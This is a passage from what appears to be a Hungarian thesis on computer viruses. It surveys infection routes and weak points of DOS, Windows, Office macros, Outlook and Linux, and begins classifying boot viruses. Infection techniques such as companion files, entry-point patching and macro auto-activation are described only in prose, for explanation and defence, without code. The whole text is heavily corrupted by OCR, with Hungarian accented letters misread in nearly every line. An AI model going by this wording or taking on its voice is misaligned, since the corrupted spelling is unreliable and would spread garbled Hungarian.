terjeszkedés megakaddlyozdsa, az alkotdk éaltal irdnyitott szerverek, valamint a
megfertozott, ugynevezett ,,slave” szamitogépek kozotti kommunikécié akaddlyozdsa
— valészintileg ez riaszthatta el a készitoket, akik visszavettek a kordbban diktalt
irambol.

A Conficker egyébként a vallalati tlizfalakat is igyekszik megkeriilni, mégpedig az
USB-kulcsok bevondsdval, amelyeket azutdn a hédlézaton beliil is felhaszndlnak. A
botnet hélézat egyike azon nagy és kiterjedt csoportoknak, amelyeket valdszintileg
kelet-eurdpai, délkelet-azsiai, illetve latin-amerikai szindikatusok irdnyitanak.
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4. A rendszerek sebezhetésége, avagy a virusok
osztalyozasa platform szerint

Egy virus csak akkor telepedhet meg egy szdmitogéprendszerben, ha bejut, és
valamilyen mddon vezérlést szerez. Az 1980-as években a virusok elsddleges bejutdsi
utvonala a migneslemezeken (floppy) keresztiil vezetett. Az 1990-es években a szamitogép-
halézatok novekedésével egyre nagyobb szadmban keriiltek be virusok és egyéb
programkartevok a rendszerekbe. A floppy lemezek virusellendrzése, a floppy lemezrdl vald
gépinditdsok hardveres letiltdsa, valamint a programtelepitések fokozott ellendrzése
nagymértékben csokkenti a megfert6zddés kockazatat. Az uj tipusu cserélhetd adathordozdok
koziil a CD és DVD lemezek, ZIP és SyQuest lemezek, valamint a cserélhetd merevlemezek a
floppy lemezekhez hasonldéan a hasznos programok mellett szamos rosszindulati programot
(els6sorban virusokat) is bejuttattak a szamitégépekbe. A virus a nagykapacitdsi hordozé
médiakat szallitéeszkozként ,,alkalmazza”.

Az 1995 végén megjelent és azdta exponencidlisan novekvd szdmban tdmado
makrovirusok egy, a kordbbiaktdl teljesen eltérd 4j technikdt alkalmaznak. A programkéd
ezeknél ugyanis nem kozvetleniil végrehajthat6 bindris kod, hanem egy megfeleld értelmezo
(interpreter) segitségével végrehajthaté formdban van, és a makrékartevok elsddlegesen nem
program-, hanem dokumentumféjlokban terjednek. Ezen a médon az elsddleges célpontot mar
nem az operacids rendszer és a programfijlok jelentik, hanem kozvetleniil a dokumentumok.
A makrévirusok elszaporodasiat az is elOsegitette, hogy amig a programfijlokat maér
gyanakodva kezelték a kordbbi virus incidensekbdl okuld felhaszndlok, addig a
dokumentumok cseréje mind a mai napig magatdl értetddden és természetességgel zajlik.
Elészoér nem is gondolta senki, hogy ezeket is ellendrizni kell, mivel ezek a dokumentumok
nem csak szovegfijlok, hanem a Word, illetve az Excel dltal végrehajthaté programkddot is
tartalmazhatnak. Az internethaszndlat és az elektronikus levelezés tomegméretl elterjedésével
Uj behatoldsi pontokat fedeztek fel a viruskészitOk. Eloszor elektronikus levelek
mellékleteként kezdtek érkezni kiilonféle rosszindulati programok, majd a viruskészitok
sorban kifejlesztették a kiilonb6z6 scriptnyelvekhez (VBScript, JavaScript, CorelScript stb.)
kotott kartevoket. Ennek eredményeként ma mar fertézott weboldalak meglatogatdsa is
elindithatja a fert6zési folyamatokat. A fentieken til a csevegd (chat) csatorndk (IRC, Internet
Relay Chat) és a halézati kommunikaciés programok is belépési pontokat jelenthetnek, és
sajnos jelentenek is a rosszindulatd programok és fejlesztéik szamara.

A kiilénb6z6 operacids rendszerek eltérd timadaspontokat ,,kindlnak™ fel a nem kivant
latogatok szamara.

4.1. A DOS rendszerek gyenge pontjai

A korai személyi szamitogépek legelterjedtebb operdcids rendszerét fert6zdé elsd
virusok, a kiilonb6zd indithaté dllomanyokat fertézték meg. Ezek koziil a ,legnépszeriibbek™
a.COM, .EXE és .SYS kiterjesztésiiek voltak.

A biztonsdgi rést az operdciés rendszer azon tulajdonsiga jelentette, hogy a
command.com egy parancs kiaddsakor az adott névvel ellatott indithaté dllomanyokat .COM,
.EXE, .BAT Kkiterjesztés szerinti sorrendben keresi. Tehat, ha a virus egy meglévé .EXE vagy
.BAT éallomany mellé 1étrehoz egy ugyanolyan nevii, de .COM Kkiterjesztésii adllomanyt, akkor
a parancs kiadaskor az eredeti .EXE vagy .BAT program helyett a virus fog lefutni, amely
majd lefuttatja az eredeti programot is.
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A DOS rendszerek masik gyenge pontja a memodriakezelés. Barmennyi fizikai
memdria is van a gépben, a konvencionélis DOS memoria mindenképp csak 640 KB, emiatt a
DOS alapi memoriarezidens virusellenéroket igen karcsira kell késziteni, hogy egyaltalan
futtatni lehessen virusellendrzé programokat a sziikds DOS memoridban. A végeredmény:
vagy az ellenOrzés lassul le és vele az egész rendszer, vagy az ellendrzés hatékonysédga
csokken. A memdriafoglalds miatt egyes programok nem, vagy csak lassan, bizonytalanul
futnak.

Ha DOS alatt miikodé gépeket kell iizemeltetniink, jobban jarunk, ha egy
virusellen6rz0 munkadllomdst allitunk fel, és azon kotelezéen elvégziink minden, a
rendszeriinkon kiviilrél érkezd program, floppy lemez és egyéb adathordoz6 virusellendrzését.
Ha ezt a szigori szabdlyt betartjuk és betartatjuk, ezzel kivalthatjuk a tobbi gépen a
memoriarezidens virusellendrzok telepitését.

4.2. A Windows rendszerek tamadhato pontjai

A Windows virusok rohamos terjedését mutatja az, hogy 1999 marciusaban nagyjabol
szazra volt tehetd a 1étez6 Windows virusok €és atirataik szdma. Napjainkra ez a szdm
megsokszorozddott, nem emlitve a varidnsokat. Szerencsére ezek nagy része csak
virusgylijteményekben taldlhaté meg.

Meg kell még emliteni a napjainkban egyre jobban terjed0 code red virus varidnsokat
is, melyek a Microsoft IIS Web szerverének egy hibdjit kihaszndlva tudnak szaporodni. A
virus azt haszndlja ki, hogy a betoltendd buffer méretét nem ellendrzi a program. Ha nagyobb
adatot akar betodlteni a memoridba, akkor tilcsordul, és az adat végén levd utasitdsokat a
program sajatjanak véli, és végrehajtja. Ezdltal egy megfeleléen nagy csomagot kiildve,
melyben a virusiré altal irt kod is benne van, lehetdség nyilik arra, hogy egy IIS szerveren
barmilyen kédot futtasson.

A Windows virusok tobb tamadasi modot hasznalnak ki, mint a korabbi DOS-os
virusok. Ezek koziil a tdimadasi lehetdségek koziil néhdny:

» A fejléc (header) fertdzése: A Windows virusok ezen tipusa magat a PE (Portable
Executable) fejlécet fertdzi meg.

» Feliillir6 (prepending) virusok: A legkonnyebb és legelsonek Kkifejlesztett fertézési
technika a fajlok feliilirdsa. A virus futtathaté fajlokat keres, majd a f4jl elejére
beszirja a sajat kodjat, feliilirva a régit. Ez a technika azéta mar elavult, és nem is volt
tul sikeres.

» ,,Companion” (sorrendi) fert6zés: Ezen programok .exe fajlokat keresnek, majd ha
taldlnak, akkor bemdsoljdk magukat abba az alkdnyvtédrba, ahol az .EXE-t megtaléltak,
ugyanolyan néven, mint az, csak .COM Kkiterjesztéssel.

» Hozzafiz6d6 virusok, melyek nem médositanak ,,AddressOfEntryPoint”-ot: Az eddigi
fert6zési moddszerek mindegyike (a companiont kivéve) mddositotta a PE f4jlok
AddressOfEntryPoint mezdjét, ami a program kezd6cimét jeloli a fajlon beliil. Ezzel
ellentétben ezek a virusok megnézik, hogy hova mutat az eredeti
AddressOfEntryPoint, majd arra a helyre elhelyeznek egy JMP utasitist (eldtte az
azon a helyen 1év6 kédot elmentik), amely a virus kezdOpontjara mutat.
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KERNEL32.DLL fertézok: A kordbbi virusok legfeljebb tévedésbdl fertéznek DLL
(Dynamic Link Library) fajlokat, de fertdzés utdn ezek képtelenek lesznek a
terjedésre, mivel a DLL-ek belépési pontja nem ott van, mint a futtathaté exéké,
hanem egy DLLEntryPoint-ban. Ezek a virusok DLL-re ,,specializalt” virusok, melyek
a KERNEL32.DLL-t timadjak meg.

,Fragmented Cavity” fert6zési technika: A féjloknak van egy bizonyos ,slack
space”’-e (nem haszndlt hely), amit a linker nulldkkal, vagy OxCC értékekkel tolt fel.
Ez a szekcidk hatdran helyezkedik el, mert az egyes szekcidknak a PE fejlécben
taldlhaté FileAligment értéknél kell kezdddniiik. Mivel virus nem fér el ezen a
kihasznélatlan teriileten, igy a virust tobb részre daraboltdk. A virus betdltésekor az
egyes darabok egymads utdn egy eldre lefoglalt memdriateriiletre méasolédnak, majd
elindul a virus.

VxD (Virtual Device Driver) alapu fert6zés: Amit a legtobb VxD virus tesz az, hogy
magéra iranyitja a Windows féjlkezelését. Az IFS (Installable File System) Windows
szolgdltatdst meghookolja (magdra irdnyitja az IFS hivdsokat), majd ha végzett,
altaldban meghivja az eredeti szolgaltatist. Azzal, hogy meghookolja az IFS-t, a virus
képessé valik az 6sszes fajlmiivelet ellendrzésére, lefigyelésére €s irdnyitasara is.

VxD fert6zés: A virus nem fertdz meg ,,ismeretlen” VxD-ket (amelyek mds feladatot
is ellatnak, mint amire a virusnak sziikksége van). Pl. a videdkartya-,
hangkartyameghajt6. Tehat a virus azokat a VxD-ket fertézi meg, amelyek a PE
dropperében megtaldlhatok (marmint a lista, nem maga a VxD).

Kernel mode driver virusok: A virus mddositja a PE belépési pontjat, igy az a virus
kezdépontjara mutat a f4jlon beliil. A fert6zott alkalmazdsok a driver komponens
droppereként miikodnek. Ez azt jelenti, hogy amikor egy fertézott allomanyt
probalnak lefuttatni, a virus megprébélja installdlni a virus egy masik részét, ami egy
meghajtéprogram. A virus képes minden f4jlhozzéaférés figyelésére, illetve PE f4jlokat
roptében (on-the-fly), betoltddésiik alatt megfertdzni.

PE (Portable Executable) féjlfert6z6 virusok, melyek VxD-ként viselkednek: Ezek a
virusok képesek barmilyen alkalmazdsra ,rdiilni”, mivel a kddjukat kozvetleniil a
Win95 VMM-jébe (Virtual Machine Manager) flizik. Amikor barmilyen alkalmazas
elindul, a viruskdd dtveszi az irdnyitast. Mindez azért lehetséges, mert a Microsoft 3.1
VxD-kel valé kompatibilitdsi okokbdl nem védte le a VMM memdriateriiletét irds
ellen. gy a VMM teljes memdriateriilete felhaszndl6i szinti programok szdmdra
irhat6 és olvashaté.

,Direct action” technika: Ezek a virusok mér ,,memory-mapped” (memoridba
feltoltott) fajlokat tudnak haszndlni.

4.3. A Windows 9x/ME biztonsagi rései

A Windows 95/98 és a Windows Millennium DOS-os bootvirusokkal is

megfertdzhetd, mivel a bootszektor védelmérdl nem gondoskodik az operdcids rendszer. A
megfertdzott gép tobbnyire miikodésképtelenné valik, mivel a 16 bites DOS-hoz kifejlesztett
bootvirusok nem ismerik a mai nagyméretli merevlemezeken éltaldnosan haszndlt VFAT és
FAT32 formatumokat. Ha a virus az ilyen merevlemez bootszektorat feliilirja a sajat kédjaval,
torvényszerll az adatvesztés €s a rendszer miikodésképtelenné vélasa.
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Az olyan fejlett technoldgidkat alkalmazé virusok, mint a Szlovdkidban kifejlesztett
OneHalf vagy a Tajvanr6l 1998-ban elinditott CIH valtozatai azonban jol elboldogulnak a
FAT, VFAT és FAT32 particidékon, s nem csupan megfertdzik a rendszert, de képesek tovabb
is szaporodni.

A Windows 9x és Windows Millennium alatt hasznalt szamitégépeken természetesen
gond nélkiil futnak a DOS-os programok, és igy a DOS-ra felkészitett programfajl-fert6z6
virusok is. Ezen feliil azonban a specidlisan a 32 bites Windows programféjlok fert6zésére
tervezett virusok tdmaddsainak is ki vannak téve.

A Windows 9x/ME a korabbi Windows kiaddsokhoz képest sok egyéb mellett azzal is
bdviilt, hogy az Internet Explorerrel egyiitt egy Windows Scripting Host (WSH) nevii
VBScript programértelmezd is betelepiill a gépre. Ez a programértelmezdé meglepden
hatékony, s ha egy rosszindulatd programkddot tartalmazé fajlra kattintunk ré
figyelmetlenségbdl, a hatas eldre kiszamithatatlan.

4.4. A Windows NT és Windows 2000 kiskapui

Az NT és Windows 2000 rendszereket szinte ugyanazon pontokon lehet tdimadni, mint
a Windows 9x/ME rendszereket, habar akad egy-két nem tul jelentOs eltérés. Az elsé 1ényegi
kiilonbség az, hogy az NT alapu rendszereket mar nem lehet egyetlen bootlemezrdl inditani.
Ha a merevlemez indit6 (boot) rendszerparticioja NTEFS formatumi, a bootvirusok
semmiképp sem tudnak tovabbszaporodni réla.

Az NT és Windows 2000 komolyabb biztonsagi eszkozei lehetévé teszik, hogy a
rendszergazda korldtozza a munkadllomdsokon elérhetd és futtathaté programok korét. Ez
ugyan magaban még nem sziinteti meg a viruskarokat, de kezelhetd korlatok kozé szorithatja
azt.

A hacker tdmadéasok legkedveltebb célpontja a Microsoft Internet Information Server
(IIS) program. A szoftver mdr ismert biztonsagi réseihez — ha nem is mindhez — a Microsoft
weboldalairdl ingyenesen toltheték le a javitécsomagok, dm a rendszerek tobbségén ezek
nincsenek telepitve. Ez a lazasidg oda vezet, hogy a kozvélemény szemében a Microsoft
szoftverek kifejezetten virustanyanak szdmitanak.

Ezt a W32/Nimda nevii levelezOprogram-féreg felbukkandsa és egyediildll6an
szertedgazd fert6z€ési mechanizmusa is aldtdmasztja. Az IIS tdmaddsakor a féreg 16 darab
régbta ismert biztonsagi rést pasztaz végig a helyi haldzaton beliil elérhetd 1IS szerveren, s ha
akdr egy is befoltozatlan, akkor a féreg menthetetleniil betelepiil a rendszerbe.

4.5. A Windows XP hibai

A Windows operacids rendszerek kozott taldn a legnépszeriibb verzié a Windows XP
volt. Ezt tdmasztja ald az is, hogy a Vistat kovetd Windows 7-ben XP kompatibilitds (Win XP
Mode) lesz. 2001 oktéberében jelent meg az XP, és az elmult 8 év sordn temérdek hibajavitas
jelent meg hozza. (ActiveX vezérlés, Office csomag, automatikus inditds, SMB és Java,
Messaging Services...) Osszeszedni és felsorolni ezeket nem része a dolgozatnak, igy csak
roviden 6sszefoglalndm a fontosabb tudnivaldkat.

Az 1. szervizcsomag (Service Pack 1; SP1) angol verzidjat 2002. szeptember 9-én
adtdk ki. Legfontosabb funkci6i az USB 2.0-tdmogatds és a Programok hozzaférhetdsége és
alapértelmezései nevii kisalkalmazas. Ez a csomag 320 programjavitdssal ,,biiszkélkedhet”.
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A 2. szervizcsomag, a Service Pack 2 (SP2) angol verzi6ja 2004. augusztus 6-an jelent
meg. Ez mar erGsen a biztonsdgra fokuszdl. Az eddigiekkel szemben az SP2 sok 1) funkcidt
ad a Windows XP-hez, beleértve egy 1j tlizfalat (lecserélve az internetkapcsolat tlizfalat
Windows tlzfalra), WiFi-segédprogramot, eldugréablak-blokkolé funkciét az Internet
Explorerhez, valamint tovabbfejlesztett Bluetooth-timogatdst. Tovabba uj alkalmazas-
programozdsi feliiletet is tartalmaz, melynek segitségével a kiilsé viruskeresOk és tlizfalak
egylittmiikodhetnek az 1j biztonsagi kozpont alkalmazdssal, mely dltaldnos attekintést ad a
rendszer biztonsdgardl. Ennek a valtozatnak a segitségével valamelyest csokkenthetd a
kémprogramok és a virusok dltal jelentett veszély. Osszesen 800 hibajavitdst és
programb0vitést tartalmaz.

A Windows XP Service Pack 3 (SP3) 2008. méjus 6-4t6l hozzéaférheté a Microsoft
letoltokozpont oldaldn és a Windows Update-en. A Microsoft dllitdsa szerint 1174 hibajavitast
integraltak az SP3-ba. Az Internet Explorer 7-et nem tartalmazza a szervizcsomag.

Egy kis érdekesség: 2008 novemberében sikeriilt végre javitast kiadnia a Microsoftnak
az eredetileg a 2000-es Defcon biztonsagi konferencian demonstralt, 2001 marciusa 6ta pedig
nyilvdnosan is ismert sebezhetdséghez. Ez lehetdséget ad a timadok szamara, hogy teljes —
adminisztrator szintli — hozzaférést nyerjenek szamukra egyébként el nem érhet6 Windows
rendszerekhez, a hdl6zaton keresztiil. Az évek sordn végig javitatlanul maradt sebezhetdség
kihasznélasdhoz ugyan a tamadonak kozvetlen — a tlizfalak altal tipikusan blokkolt —
hozzaféréssel kell rendelkezni a hdl6zathoz, €s a rendszergazdat ra kell tudnia vennie egy
emailben kiildott link megnyitdsara, a hiba sikeres kiakndzdsa esetén azonban gyakorlatilag a
teljes ellendrzést atveheti a megtamadott rendszerek felett.

4.6. A Windows Vista sebezhet6ségei

A Microsoft komoly fejlesztéseket folytatott annak érdekében, hogy a legujabb
operacios rendszere, a Windows Vista (2007. janudar) az elddeinél joval biztonsdgosabban
legyen hasznélhatd, és sokkal ellendllébb legyen a kiilonbozd fenyegetettségekkel szemben.
Ugy tiinik azonban, hogy onmagdban az Gj opericiés rendszer védelmi megolddsai nem
lesznek olyan hatékonyak, mint amire szdmitani lehetett. A 2006-2007-es virus toplista elso
tiz helyén szerepld kartékony program mindegyike képes megfertézni az 4j operdcios
rendszert. A Vista tehét tovabbra is sebezheté maradt azokkal a Netsky, MyDoom ¢és Stratio
férgekkel szemben is, amelyek 2007-ben az Osszes virusfertézés 39,7 szazalékaért voltak
feleldssé tehetok. A Windows Uj levelezd szoftverén fennakadnak, azonban ha a felhasznal6
nem ezt az alkalmazdst haszndlja emailezéshez, vagy webes feliileten nézi meg a leveleit,
akkor tovabbra is kockdzatot jelentenek e kartevok.

A Vista hidba lett gy beharangozva, mint az 1j, biztonsdgos operacids rendszer,
megjelenését kovetden alig 1 év mulva mar ki is adtdk hozza az els6 Service Packet. Nem telt
bele sok idd, alig fél évre rd megjelent az SP2 is. Mindebbdl arra lehet kovetkeztetni, hogy a
rendszer kozel sem olyan tokéletes, mint azt remélték.

4.7. Az MS Office rendszerek gyengeségei
A Microsoft Office programcsomag ma mar egységes belsé makrd- €s programozasi

nyelvvel rendelkezik. Ez az Office programjainak karbantartdsa, menedzselése a felhasznalok
tdmogatdsa szempontjabol igen elényds, dm a rendszeren kiviilrél érkez6é dokumentumokban
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lapul6, automatikusan elindulé makrék komoly biztonsdgi rést jelentenek, amellyel
foglalkoznunk kell.

Természetesen par perces bedllitdssal akar kiilsé segédprogramok nélkiil is elérhetd,
hogy ne indulhassanak engedély nélkiil ezek a makrdk, am az Office csomagok zommel nem
informatikus felhaszndldkore alig veheto ra a sziikséges biztonsagi intézkedések és eldirdsok
betartdsdra. Enélkiil pedig elvész a biztonsag.

A makrévirusok méar onmagukban jelenlétiikkel, kéarokozdsaikkal is sok gondot
jelentenek, de a helyzeten tovdbb rontott a tobbtdmadasponti makrévirusok megjelenése. A
probléma abban lakozik, hogy ha nem megfeleld alapossdggal végzik el a virusmentesitést,
elegendd egyetlen el nem tdvolitott kartevd, és a virus eldbb-utdbb visszafertzi a rendszert.

A makrévirusok els6sorban a  Microsoft Office programjainak  belsd
programozhatdsagat lehetdvé tevd VisualBasic nyelvhez kotddnek, és elsésorban a Word és
az Excel dokumentumokat tdimadjdk, haszndljak fel a fert6zés tovéabbterjesztésére. Az MS
Office 97 megjelenésével a programok makronyelvének egységességét kihasznilva a
viruskészitok elkészitették az elsé PowerPoint és Access dokumentumokban terjedd
makrévirusokat.

A makrévirusok lehetséges tdmadasi modjai:

1.  Automakrok haszndlatdval: Az automakrok valamilyen tevékenység végrehajtdsakor
automatikusan lefutnak, ha a normal sablon, vagy az éppen betolteni kivant sablon f4jl
tartalmazza ezen makrék bdrmelyikét. Altaldban a virusok az AutoOpen makrd
segitségével mar a fertdzott (4l)dokumentum megnyitasakor képesek aktivizalodni.

2. Word parancs dtdefinidldssal: A Word bels6 parancsai atdefinidlhatok. Ha egy elég slirtin
hasznalt belsd paranccsal megegyezd nevii makrét tartalmaz a betoltott, fertdzott
dokumentum, akkor nagy az esély, hogy a virus aktivizdlja magat. A bels6 parancsok
atdefinialasait a Word makrovirusok nemcsak aktivizalédasra, hanem tovabbi
dokumentumok megfertdzésére is hasznalhatjak.

3. Billentyiizetdtdefinidldssal: Lehetéség van arra a Wordben, hogy kiilonb6z6
billentylikombinécidkat tetszOleges parancshoz vagy tetszdleges makréhoz rendeljiink
hozza. Ekkor a megfeleld billenty(i lenyomdsa utdn a hozzarendelt parancs, makro, vagy
esetleg a virus hajtédik végre. A virus aktivizal6 makréjat hozzarendelhetik méar meglévo
billentylizetkombinacidéhoz (Ctrl+C), vagy példdul egy gyakran hasznélt billentyith6z is
(pl. Esc, sz6koz stb.).

4. Meniipont-dtdefinidldassal: A Word-ben minden meniipont egy parancshoz, vagy
makréhoz van rendelve. Ezek igényeknek megfelelden dtalakithatok, sét tdjak is
szurhatdk be kozéjiikk. A virus aktivizadlédhat igy, hogy az 6t aktivizadlé makr6 egy mar
1étez0 meniiponthoz van hozzarendelve, vagy pedig egy uj meniipont beszurdsaval (pl.
F4jl/Olvass). A kivancsi felhaszndl6 ezt elinditva aktivizélja a virust.

5. Eszkoztdr-dtdefinidldssal: Hasonléan milkodik, mint az eldz6 esetben, vagyis a fertézott
sablon vagy egy mar 1étezd eszkoztarhoz rendeli hozza az aktivizadlé makrét, vagy pedig
egy Uj eszkOztir gombot szir be a mar meglévok kozé. Ezt kivdlasztva a virus
aktivizalodik.

6. Makrogombbesziirdssal: A makrégomb segitségével makroparancsot tudunk beszirni egy
dokumentumba. Pl.: magyardzé szoveget lehet flizni a dokumentum egy bizonyos
pontjdhoz ugy, hogy az adott helyre egy olyan makré gombjat szdrjuk be, amit
megnyomva a makrd egy segité parbeszédpanelt jelenit meg. Ez kihasznilhaté oly
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modon, hogy a parbeszédpanelt megjelenitd makrd helyett a virust aktivizald makré is
elindithato.

7. Urlapmez6-besziirdssal: A Word segitségével 1étrehozhaté tirlapot a képernydn kitoltve,
a mezOkbe a felhaszndlé adatokat vihet be. Ezekhez a mezO0khoz olyan makrdkat lehet
rendelni, amelyek megfeleld helyzetben (pl. mezObe 1épéskor) automatikusan lefutnak.
Ilyen mez6t a virus tetszdleges helyre besztrhat.

4.8. Az Outlook programok ,,biztonsaga”

,» Lisztelt Holgyeim/Uraim! Van egy rossz hirem és egy jo: A jé hir: az Outlook
programozhat6! A rossz hir: az Outlook programozhat6!”

Bar a fenti kijelentést sokan tréfaszamba veszik, az allitds sajnos igaz és haldlosan
komoly. Ez a programozhatdsag egyrészt elony, mert megkonnyiti a rendszergazddknak és a
tapasztaltabb felhaszndloknak levelezdprogramjuk testreszabdsat, valamint a kezddk és az
informatikai alapképzettséggel nem rendelkez0 felhaszndlok megszabadulhatnak a
programkezelés nehézségeitdl, a mdsok 4ltal szamukra eldkészitett VBScript, illetve
VisualBasic programokkal. A levelezOprogramok igen kényes és meglehetdsen érzékeny
részei a szamitogépes rendszereknek, mivel egy specidlis kaput nyitnak a védett rendszeren a
kiilvilag felé.

Az igazi veszély abban dll, hogy a telepitd csomagokrdl gyari alapbedllitisban a
szamitégépekre felkeriilt Outlook és Outlook Express véltozatok hajlamosak arra, hogy
automatikusan végrehajtsanak egyes, a beérkezd levelekben megbijé programokat. Ez
részben kikapcsolhatd, illetve a Microsoft weboldalair6l ingyenesen letolthetd
javitécsomagok feltelepitésével megakadalyozhaté. Ezt a ,,szolgaltatast” hasznalta ki az 1998-
ban megjelent VBS/BubbleBoy a rendszerek megfertdzésére.

Az Windows XP-vel egyiitt adott Outlook 6 bdviilése egy kissé ijesztd. Immar nem
csupan a HTML formétumu levelek levéltorzsében elbujtatott script programokat hajtja végre,
ha a levél a Preview ablakba keriil, de az ASCII text formatumu levéltorzsben elrejtett script
programokat is. Természetesen ez is kikapcsolhatd, mint annyi minden mas, de ezzel a lassan
tilnyom6 tobbségbe keriild laikus felhaszndlok és a tulterhelt vallalati rendszergazddk nem
tudnak mit kezdeni.

4.9. A Unix és Linux rendszerek sebezhet6ségei

A megfelelden kézben tartott Linux és Unix rendszerek biztonsiga kizarja a virusok
belépésének és terjedésének lehetdségét. Elonye a Windows-zal szemben abban all, hogy a
Linux fejlesztok a napvildgra keriilt biztonsagi réseket, hatsé bejaratokat, rejtett kiskapukat
napokon beliill kijavitjdk, és a javitisokat gyorsan, rovid atfutdssal épitik be az ujabb
disztribiciokba. Természetesen az Uj véltozatok sem (lehetnek) hibatlanok. Ennek ellenére
magasabb foku védelmet lehet kialakitani ezeken a rendszereken, mint Windows 9x/ME alatt,
de mint minden operacids rendszer, ez sem sebezhetetlen.

Ha egy virus egyszer root jogokkal indult el egy aktiv folyamatban, megpatkolja a
kernelt, vagy uUj modulokat hoz létre és betolti azokat az operativ memoridba. Ennek
eredményeként a virus a szamitogép minden egyes Ujrainditasakor aktivizalédik. Nem szabad
elfeledni azt a tényt, hogy a nyilt forraskod jelentdsen leegyszerlisiti a Linux biztonsagi
rendszerén beliili rések felkutatdsat és kijavitdsat, mivel ez csupdn a rendszerkdd egyszerii
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elemzését igényli. A megfelelé6 windows-os résekre csak véletleniil bukkannak rd, vagy a
Windows kernel hosszu tavi, jol menedzselt visszafejtésével, de ez igen ritkdn fordul eld.

A biztonsagi rések lezardsara a legjobb mddszer a javitocsomagok (patch) idénkénti
telepitése. A Windows, vagy barmely mds ,,zart” platform javitdcsomagjainak telepitése
nagyon egyszeri €és a végfelhaszndlotél csak abszolit minimélis erdfeszitést igényel.
Altaldban annyi csak a tennival, hogy rakattintanak a javitécsomagot tartalmazé .EXE f4jlra,
€s a telepités végén djrainditjdk a rendszert.

Linux alatt ez sokkal komplikéltabb is lehet, mivel egy patch esetén sziikség van arra,
hogy a felhaszndlé maga forditsa djra a forraskédot.

A hattérben fut6 Linux virusok egy masik jol ismert behatoldsi modszere a rendszerbe
az, hogy megviltoztatjdk a rendszerszervizek (démonok) listdjat. Eppen tigy, mint a Windows
NT rendszerszervizeinek esetében, azok automatikusan betoltddnek a memoridba, s a benniik
lapulé virusok képesek véghez vinni pusztitdé akcidikat, beleértve a fajlfertdzést, f4jlok
modositasat, adatlopast stb.

Egy masik velejar6 gyengesége minden egyes operdcids rendszernek, beleértve a
fejezet fO targyat képezd operdcids rendszert is, a script nyelvek haszndlata, amely lehetové
teszi a scriptvirusok, mint a LoveBug 1étét még a Linux alatt is. A legtobb fejlett scriptnyelv
(példaul a Perl is) még sokkal nagyobb funkcionalitdssal rendelkezik, mint a Visual Basic
Script (VBS), ami a Windows platformok legéltalanosabb script nyelve. Sok Office jellegli
alkalmazas (ilyen a StarOffice is) 1€p be a Linux platformra, 0j lehetdségeket kindlva a
felhaszndloknak szovegszerkesztésre, tdblazatok és adatbazisok kezelésére és ... virusok
fogadasara! Ugyan ki tud ma elképzelni egy olyan irodai (office) programcsomagot, melyben
nincs beépitve se makrd-, se scriptnyelv. Valdszintitlen, hogy ez modern csomag lenne.

Igy az uj Office csomagok Linux felé mozduldsdval egyidejiileg egyre t5bb alkalom
lesz arra, hogy 1j tipusu virusokat generéljanak erre a platformra is.

Osszességében tehdt a Linux biztonsdgi szintje megegyezik a Windows NT-ével.
Alapvetden a két rendszer egyforman ellendll a szamitégépvirusok tdmadasainak, de a
problémakat kissé eltéré6 modon kezelik. Az operacids rendszer korrekt bedllitdsa jelentdsen
megnehezitheti a virusaktivitast, ndveli szamitogépiink ellendlld képességét, védelmi szintjét.

Masrészt viszont nem egyszerii egy ilyen biztonsagi szempontok alapjan feléllitott PC
haszndlata a mindennapi munkdban, mivel a rendszert baratsdgossd tevd szolgéltatdsok nagy
része teljesen ki lesz kapcsolva vagy csak erésen korldtozottan haszndlhaté. Igy felmeriil az
ordogi kort képezd orok kérdés: Tudunk-e taldlni valahol egy ésszerli egyensulyt a két
verseng0 koncepcid, a biztonsagra €s a funkcionalitdsra valé torekvés kozott?

5. A virusok csoportositasa

5.1. A virusok terjedési mod szerinti osztalyozasa

A virusoknak szadmtalan fajat, alfajat, verzidjat kiilonboztethetjiik meg. Egy résziik a
lemezek boot-teriiletét fertdzi meg, és a merevlemezeken vagy a floppy lemezeken taldlhato
bootprogramot atirva jut hozza a gép inditasakor a vezérléshez. Ezek a bootvirusok. Masok a
bindris programkddot tartalmazé programféjlokat timadjdk, és abban helyezik el a futtatandé
viruskodot. Ezek fajlvirusok. A két viruscsaldd ma mar nem kiiloniil el ilyen élesen
egymastol, foként, mert a kétlakisdgnak koszonhetéen nagyobb eséllyel éli til a fertdzés
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észlelése utan elvégzett tisztogatdst. Tobb tucatnyira tehetd az olyan virusok szdma, amely
mind a boot-teriiletet, mind pedig a programfijlokat képes megfertézni. A harmadik nagy
viruscsalad tagjai a dokumentumféjlok belsejében helyezik el szerkeszthetd szovegként vagy
védetten, rejtetten programkoddjukat, és célpontjaik, tdmadaspontjaik tobbsége is elsdsorban
tovabbi dokumentumokra iranyul. Oket nevezziik makrévirusoknak. Végiil, de nem utolsé
sorban a negyedik viruscsaladd a scriptvirusok. Koédjuk tobbségében kozonséges
szovegfajlokban vagy attekinthetd és dokumentélt struktirdt haszndlé HTML f4jlokban
taldlhato.

5.1.1. Bootvirusok

Az 1980-as évek végén, amikor az ismert virusok szama még 4000 alatt volt,
mindossze mintegy 60-70 bootvirust ismertek. A nyilvantartott virusfertézések kozott
azonban kozel 70% volt a bootvirusincidensek ardnya. Ezen ellentmondds arra volt
visszavezethetd, hogy kezdetben igen nagy volt a programcsereberék ardnya, és a
felkésziiletlen felhaszndlok is sokszor hagytak bent figyelmetlenségbdl a gép tjrainditdsakor
floppy lemezt az A: meghajtéban.

A bootvirusok kozos jellemzdje, hogy a viruskdd az operdcids rendszer eldtt toltédik
be a floppyrél vagy merevlemezrdl a memoridba, majd természetesen megprobalja betolteni
az operacios rendszert is. Mivel a régebbi bootvirusok csak a FAT16-ot ismerték, gyakran
helyrehozhatatlanul vagy nagyon nehezen javithatéan teszik tonkre, irjak feliil a modernebb
particiok, mint az NTFS, FAT32, VFAT, HPES stb. boot- és particids szektorait.

Ahhoz, hogy egy bootvirus szaporodni is tudjon, azaz kédjat a fertézott floppyrdl a
merevlemezre, majd ujabb floppykra masolhassa, a virusnak meg kell szereznie a vezérlést, €s
legalabb addig a memoridban kell maradnia, amig megprébélja kédjat tovabbszaporitani. A
legtobb esetben itt bukik meg a virus.

A bootvirusok elleni védekezéshez tobbféle megoldast is javasoltak/javasolnak:

» A floppy kiszerelése véd ugyan a bootvirusok bejutdsa ellen, de nehézkessé teheti az
adatcserét, a biztonsigi mentéseket, a programfrissitéseket.

» Egy idoben floppyzarakat is kinaltak, de a megoldds nem lett népszeri (a kulcs
masolhatd, elveszithetd, hasznalata tovibbra is a felhaszndl6tdl fiigg).

» A bootsorrend atéllitasa ,,C only”-ra a CMOS setup-ban mar jéval nagyobb segitséget
